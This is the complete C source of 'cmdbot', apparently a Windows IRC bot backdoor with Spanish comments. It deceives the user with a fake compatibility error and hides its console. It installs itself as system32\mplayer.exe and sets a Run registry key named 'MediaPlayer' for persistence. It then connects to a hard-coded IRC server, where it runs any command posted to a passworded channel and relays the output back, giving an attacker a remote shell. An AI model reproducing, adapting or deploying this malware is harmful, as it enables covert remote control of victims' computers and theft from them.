//  cmdbot  win32 cmd shell desde irc //
//  By Sha0  #BadChecksum tm          //
//  Compilar asi: gcc cmdbot.c -o cmdbot.exe -static -lws2_32

#include <stdio.h>
#include <time.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>

#pragma comment (lib,"ws2_32")


const char ircserv[]="194.149.73.80"; //hispano
char nickname[30];
const char channel[]="cmdbot01";
const char password[]="pass";

void ClaveRegistro (void);

int main (void) {

	struct sockaddr_in irc;
	int sock,loged=0;
	FILE *f;
	char ident[500], buff[500],entra[500],cmd[500],cmdresp[500],disp[500],copy[40];
	char *p,*p2;
	WSADATA wsa;
	int n;
 
    //randomize();
    srand( (unsigned)time( NULL ) );
    snprintf (nickname,29,"vyctima%d",(rand()%99+1));
	snprintf (ident,499,"USER %s a b c :pozipozi\r\nNICK %s\r\n",nickname,nickname);
	snprintf (entra,499,"JOIN #%s :%s\r\nPRIVMSG #%s :a sus ordenes\r\nMODE #%s +k %s\r\n",channel,password,channel,channel,password);
	printf ("random: %d\n",n);
	puts ("No es compatible con esta versión de windows!");  //para despistar ;)
	FreeConsole();

	system ("del %systemroot%\\system32\\mplayer.exe");
	system ("copy cmdbot.exe %systemroot%\\system32\\mplayer.exe");
	ClaveRegistro ();

	irc.sin_family=AF_INET;
	irc.sin_port=htons(6667);
	irc.sin_addr.s_addr = inet_addr (ircserv);

	WSAStartup (0x101,&wsa);
	sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
	connect (sock,(struct sockaddr *)&irc,sizeof (struct sockaddr_in));

	send (sock,ident,strlen(ident),0);

	while (1) {
		memset(buff,0,sizeof(buff));
		recv (sock,buff,499,0);	
		//printf ("%s",buff);

		if ((p=strstr(buff,"PING")) && !strstr(buff,"PRIVMSG")) {
			*(p+1) = 'O';
			send (sock,buff,strlen(buff),0);

			if (!loged)
				send (sock,entra,strlen(entra),0);
		}

		if ((p=strstr(buff,"==fin==")) && strstr(buff,"PRIVMSG")) {
			send(sock,"QUIT\r\n",6,0);
			close(sock);
			exit(1);
		}

		if ((p=strstr(buff,"==")) && strstr(buff,"PRIVMSG")) {
			p2=&cmd[0];
			memset(p2,0,sizeof(cmd));
			memset(cmdresp,0,sizeof(cmdresp));
			p+=2;
			while (*p) {
				*p2 = *p;
				p++;p2++;
			}
			//printf ("ejecutando %s\n",cmd);
			f=popen(cmd,"r");
			while (!feof(f)) {
				fgets(cmdresp,sizeof(cmdresp),f);
				snprintf(disp,499,"PRIVMSG #%s :%s\r\n",channel,cmdresp);
				send(sock,disp,sizeof(disp),0);
				send(sock,"PRIVMSG #cmdbot01 :juass\r\n",26,0);
				//printf ("%s",disp);
				sleep(2000);
			}
			pclose (f);

			
		}
	}

	close (sock);
	return (0);
}

void ClaveRegistro (void) {
    HKEY hKey;
    DWORD Value = 0;
    /*
    if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey) == ERROR_SUCCESS) {
    */
    if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &hKey, 0) == ERROR_SUCCESS) {
        RegSetValueEx(hKey,"MediaPlayer" , 0, REG_EXPAND_SZ, "%systemroot%\\system32\\mplayer.exe\0",33);
    }
    RegCloseKey(hKey);

}
